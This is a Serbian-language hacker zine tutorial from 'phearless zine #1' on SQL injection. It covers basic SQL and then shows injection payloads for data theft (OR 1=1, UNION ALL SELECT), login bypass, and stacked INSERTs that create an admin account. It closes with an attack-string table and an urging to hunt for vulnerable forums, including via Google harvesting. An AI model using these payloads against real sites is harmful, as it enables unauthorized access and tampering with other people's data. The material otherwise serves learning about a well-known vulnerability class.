Copy Link
Add to Bookmark
Report
1x03 Sql Injection Techniques
...................
...::: phearless zine #1 :::...
....................>---[ Sql Injection Techniques ]---<....................
.........................>---[ by De1Rekt0n ]---<...........................
mil0s[at]headcoders[dot]net
\0x1 - Uvod u SQL
\0x2 - SQL komande
\0x3 - Primena
\0x4 - Napadi
[Tipovi napada]
~Unauthorized data access
~Authentication bypass
~Database modification
\0x5 - Zakljucak
////////////////////////////////////////////////////////////////////////////
--==<[ 1. Uvod u SQL
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Baza podataka sama po sebi je strukturna kolekcija unosa,
najpoznatije baze podataka su: Oracle, Microsoft SQL Server,
MySQL ili PostgreSQL itd...
Tabelama pristupamo preko upita(query), zato se i ovo zove
Structured Query Language(SQL).
Vecina software-a na internetu koristi baze podataka, od foruma pa
sve do raznih portala.
////////////////////////////////////////////////////////////////////////////
--==<[ 2. SQL komande
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Napravicu jednu tabelu sa osnovnim SQL komandama i njihovim
objasnjenjima. SQL poseduje mnogo vise komandi ali ove su osnovne.
+-----------+-------------------------+-----------------------------+
|SQL Komanda| Funkcionalnost | Primer |
+-----------+-------------------------+-----------------------------+
|SELECT |Izlistaj podatke iz baze |SELECT * FROM neka_tabela |
+-----------+-------------------------+-----------------------------+
|UNION |Kombinuj upite nekoliko |SELECT prvi, drugi FROM |
| |SELECT NAREDBI |neka_tabela WHERE Ime='Pera' |
| | |UNION SELECT prvi,drugi FROM |
| | |neka_tabela2 WHERE Ime='Pera'|
+-----------+-------------------------+-----------------------------|
|INSERT |Ubacivanje novog podatka |INSERT INTO neka_tabela(Ime, |
| |u tabelu i pravljenje |Prezime) |
| |novog reda u tabeli |VALUES('Pera','Peric'); |
+-----------+-------------------------+-----------------------------+
|UPDATE |Izmena podataka |UPDATE neka_tabela |
| | |set Pol='m' WHERE Ime='Pera';|
+-----------+-------------------------+-----------------------------+
|DELETE |Birsanje podataka |DELETE FROM neka_tabela |
| | |WHERE Ime='Pera'; |
+-----------+-------------------------+-----------------------------+
|DROP |Brisanje tabele iz baze |DROP TABLE neka_tabela; |
+-----------+-------------------------+-----------------------------+
Ove komande se mogu izvrsavati na vise nacina, najjednostavniji je iz
shell-a:
#mysql
$ use BAZA;
$ SELECT COUNT(*) FROM users;
2333
Prva komanda sluzi da bi se odabrala baza sa kojom se radi, druga
selektuje broj podataka iz tabele users.
Svaka komanda mora da se zavrsava sa ";" kako bi se oznacio kraj komande.
Pre nego sto krenemo na exploitovanje moramo nauciti koriscenje SQL-a i
neke osnovne komande.
Vecina portala i foruma se zasniva na tome da scripting jezik
prosledjuje komande bazi podataka, i iz nje vadi podatke koje posle,
obradjuje i vraca clientu.
Na primer PHP-Nuke je tako napravljen, koriscenjem PHP-a(Hypertext
Preprocessor) i mySQL-a.
Dinamicki generisane HTML stranice salju se clientu i tako radi svaki
forum ili portal, da se nebi cuvala svaka HTML stranica na serveru, one
se dinamicki generisu pozivanjem SQL upita i obradom rezultata upita.
////////////////////////////////////////////////////////////////////////////
--==<[ 3. Primena
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Evo nekoliko upita u PHP-u:
SELECT main_module from ".$prefix."_main
SELECT * FROM ".$prefix."_referrer
SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'
SELECT user_password FROM ".$user_prefix."_users WHERE user_id='$uid'
SELECT active FROM ".$prefix."_modules WHERE title='$module'
SELECT topicname FROM ".$prefix."_topics WHERE topicid='$topic'
SELECT mid, title, content, date, expire, view FROM ".$prefix."_message
WHERE active='1' $querylang
Primetili ste mozda znak $, sve sto pocinje sa ovim znakom oznacava,
promenljivu u PHP-u, znaci ako bi scripta izgledla ovako:
<?php
echo "$Ime";
?>
Mi bi pozivanjem "scripta.php?Ime=Pera" zadali promenljivoj vrednost Pera
tu se najcesce desavaju greske u php programima stvar je u globalnim
promenljivima koje se mogu izmeniti, o tome se i ogleda ceo trik ovoga.
Da promenimo promenljivu i time promenimo SQL upit.
////////////////////////////////////////////////////////////////////////////
--==<[ 4. Napadi
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Vec ste u predhodnom delu uvideli da SQL napad nije napad na bazu, vec
napad na aplikaciju i koriscenje baze podataka. Od ovakvih napada se ne
moze odbraniti, zapravo rec je o tome da su aplikacije traljavo napisane.
Mada malo vise paznje na kod i uopste na pisanje moze znacajno smanjiti
mogucnost ovakvog napada.
Takodje mozete primetiti da se ceo vid ovog napada svodi na izmenu upita,
i pravljenjem sopstvenog upita.
Jos nesto, ovi napadi su multi-platformski znaci ne zavise od sistema,
na kome se nalaze.
---< 4.1 Tipovi napada
Unauthorized data access - Izmena upita i uzimanje podataka koji nebi
trebali biti dostupni.
Authentication bypass - Sama rec kaze izbegavanje autorizacije, i
pristup delu sajta na kome nemate pristup.
Database modification - Izmena podataka u bazi, mozete brisati editovati
svaki podatak bez autorizacije.
---< 4.2 Unauthorized data access
Sada krecemo na pravu stvar, do sada ste naucili osnove, kako sad
upotrebiti to i videti ono sto niste mogli do sada.
Glavna caka je u, kako smo vec rekli, SQL upitima i njihovim izmenama.
Na primer pogledajmo ovaj upit:
SELECT Ime, Prezime FROM clanovi;
U ovakvom upitu, sql injection je nemoguc. Pogledajmo sad ovaj primer:
SELECT Ime, Prezime FROM clanovi WHERE $Username=$User_Clana
Vec vidite da ovde postoji potencijalna ranjivost u SQL upitu.
Zapravo ovde necete moci bog zna sta da uradite ali cete moci da,
dobijete podatke o necemu sto niste mogli ranije dobiti.
Sad pogledajte ovaj primer:
$Username = "Pera"
$User_Clana = "Pera"
SELECT Ime, Prezime FROM clanovi WHERE $Username=$User_Clana;
Ovako nesto nije ranjivo, ali zato ovako nesto:
$Username = "Pera"
SELECT Ime, Prezime FROM clanovi WHERE $Username=$User_Clana;
Gde se $User_Clana uzima iz inputa, zamislite sad ovako nesto,
vi posaljete scripti za promenljivu $User_Clana: OR 1=1
Time vi bi ste promenili upit i tada bi upit bio ovakav:
SELECT Ime, Prezime FROM clanovi WHERE $username=Nesto OR 1=1;
Time se totalno menja upit posto 1=1 je true, on ce proslediti upit,
i uzece podatke iz baze za bilo koji username koji mu posaljete.
Ovde nije rec o ranjivosti same baze, vec o ranjivosti date scripte.
Ovakve greske cete tesko vidjati ali opet ih ima, danas je vecina
programera priuceno i cesto se desava da prave ovakve elementarne
greske.
Sad cemo probati malo komplikovanije metode, gde cemo doraditi
upite kako bi mogli da uzmemo jos neke podatke.
Na primer kada bi smo hteli da pogledamo sta ima u nekoj drugoj
tabeli, tada koristimo naredbu UNION, kao sto smo predhodno
rekli UNION sluzi kako bi se formirala 2 razlicita upita u jedan
i kako bi se vratio rezultat oba.
Uzmimo predhodni primer:
SELECT Ime, Prezime FROM clanovi WHERE $Username=$User_Clana;
Da zamislimo da postoji tabela "admini", tada bi formirali
ovakav upit:
SELECT Ime, Prezime FROM clanovi WHERE $Username=$User_Clana UNION
ALL SELECT Ime, Prezime FROM admini;
Naravno ovo bi trebalo ubaciti u promenljivu $User_Clana:
$User_Clana = "nesto UNION ALL SELECT Imre, Prezime FROM admini"
Tamo gde pise nesto, to je skroz zanemarljivo, vazno je ovo sto
ide posle toga, sada vidite da smo izmenili upit i time vratili
sve podatke polja Ime, Prezime iz tabele admini.
Nekada je sve ovo malo teze, a to je kad se upit radi ovako:
SELECT Ime, Prezime FROM clanovi WHERE Username='$User_Clana'
Sta znace '', pa to znaci da se radi o stringu, sada bi se morali
resiti ovih navodnika sto je nekada poprilicno tesko...
---< 4.3 Authentication bypass
Do sada smo naucili neke trikove, vreme je da ih unapredimo,
zapravo sada cemo nauciti kako da obmanemo scriptu i dobijemo
pristup tamo gde ga nemamo.
Evo jednog primera za proveru Username-a i Passworda:
SELECT login FROM admin_users WHERE login = $login_in
AND password=$password_in
Kako ovo radi? Pa korisnik popuni forme koje prosledjuju
username i password scripti koja dalje obradjuje te podatke.
U ovom slucaju to su promenljive $login_in i $password_in.
Zamislite da tabela admin_users izgleda ovako:
+----------+-------------+
|login |Password |
+----------+-------------+
|Pera |Pera123 |
+----------+-------------+
|admin |blahblah |
+----------+-------------+
|Djoka |qwerty |
+----------+-------------+
Scripta proverava tacnost oba polja i ako vrati true
prosledi dalje.
Mozete predpostaviti da ce ovde OR opet odraditi stvar:
SELECT login FROM admin_users WHERE
login = $login_in AND password=$password_in OR 1=1
Znaci $password_in mora da zadrzi ovako nesto:
$password_in = "nekipass OR 1=1"
Time bi upit vracao true i scripta bi nas prosledila
u deo gde nemamo pristup.
---< 4.4 Database modification
Do sada smo radili samo sa SELECT upitima, da se malo osvrnemo na druge
kao sto su INSERT, UPDATE, DELETE.
Na primer registracija kod PHP-NUKE portala, ovako izgleda query za
dodavanje korisinka u bazu:
INSERT INTO ".$user_prefix."_users(user_id, username, user_email, user_website,
user_avatar, user_regdate, user_password, theme, commentmax, user_lang, user_
dateformat) VALUES (NULL,'$name','$email','$url','$user_avatar','$user_
regdate','$pwd','$Default_Theme','$commentlimit','english','D M d, Y g:i a')
Sta bi bilo kad bi ubacili nesto sto nije namenjeno.
Kod nekih scripti SELECT upit ne moze da nam vrati ono sto nama treba,
pa cemo iskoristiti INSERT u nase svrhe.
$user='Djoka'
$pwd='qwerty'
Ako se ovo dobije scriptom upit izgleda ovako:
INSERT INTO users (username, password) VALUES ('Djoka','qwerty');
Mi cemo to malo izmeniti:
INSERT INTO users (username, password) VALUES ('Djoka','qwerty');
INSERT INTO users
(username, password, is_admin) VALUES ('hacked','w00t','yes')
Ako bi napadac mogao da izmeni promenljivu $pwd da izgleda ovako:
$pwd='qwerty'; INSERT INTO users (username, password, is_admin) VALUES
('hacked','w00t','yes')'
Time bi dodali novog usera koji je admin, cime bi imali admin privilegije.
+------------------------+
|LISTA ATTACK STRINGOVA |
+------------------------+
+-------------+--------------------------------------------+
|String | Rezultat |
+-------------+--------------------------------------------+
|' | Provera da li aplikacija preskace ' je prvi|
| | korak nalazenja rupe, takodje i najlaksi |
| | nacin upotrebe SQL Injection-a |
+-------------+--------------------------------------------+
|'OR 1=1 | Ovo proizilazi iz onog gore, obmanjivanje |
| | WHERE upita gde 1=1 uvek biti true. |
+-------------+--------------------------------------------+
|'OR 1=1' | Malo drugacija verzija onog iznad |
+-------------+--------------------------------------------+
|; | Provera da li aplikacija preskace ; |
| | karakter, kako bi mogli dati vise upita |
| | (Pokazano kod INSERT funkcije) |
+-------------+--------------------------------------------+
Imajte na umu to da morate preskociti neke karaktere kada primenjujete URL,
na primer prazan prostor postaje "%20" karakter, po ASCII kodu.
////////////////////////////////////////////////////////////////////////////
--==<[ 5. Zakljucak
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Vecina aplikacija na netu je jos uvek puno ovakvih propusta, sve sto
treba uraditi je, imati strpljenja i malo razgledati
po kodu open source foruma i portala.
Ako ste dobar programer mozete napisati program koji ce da harvestuje po googlu
i trazi ovakve propuste.
===============================
| LITERATURA |
===============================
SQL Injection: Are Your Web Applications Vulnerable?
SPI Dynamics. (http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf )
Blind SQL Injection: Are Your Web Applications Vulnerable?
SPI Dynamics. (http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf )
Advanced SQL Injection In SQL Server Applications.
NGSS. (http://www.nextgenss.com/papers/advanced_sql_injection.pdf )
Advanced SQL Injection.
NGSS. (http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf )
Blindfolded SQL Injection.
WebCohort. (http://www.webcohort.com/Blindfolded_SQL_Injection.pdf )
--------------------------------------------------------------------------
Greetz to: cyberB, BaCkSpAcE, _bl00dZ3r0_, AcidCookie, Shatterhand, h4z4rd,
BoyScout, DownBload, kUdtiHaEX, LekaMan, NIkolaVeber, B0RG ,fritz, EsC,
SunDance i svima koje sam zaboravio...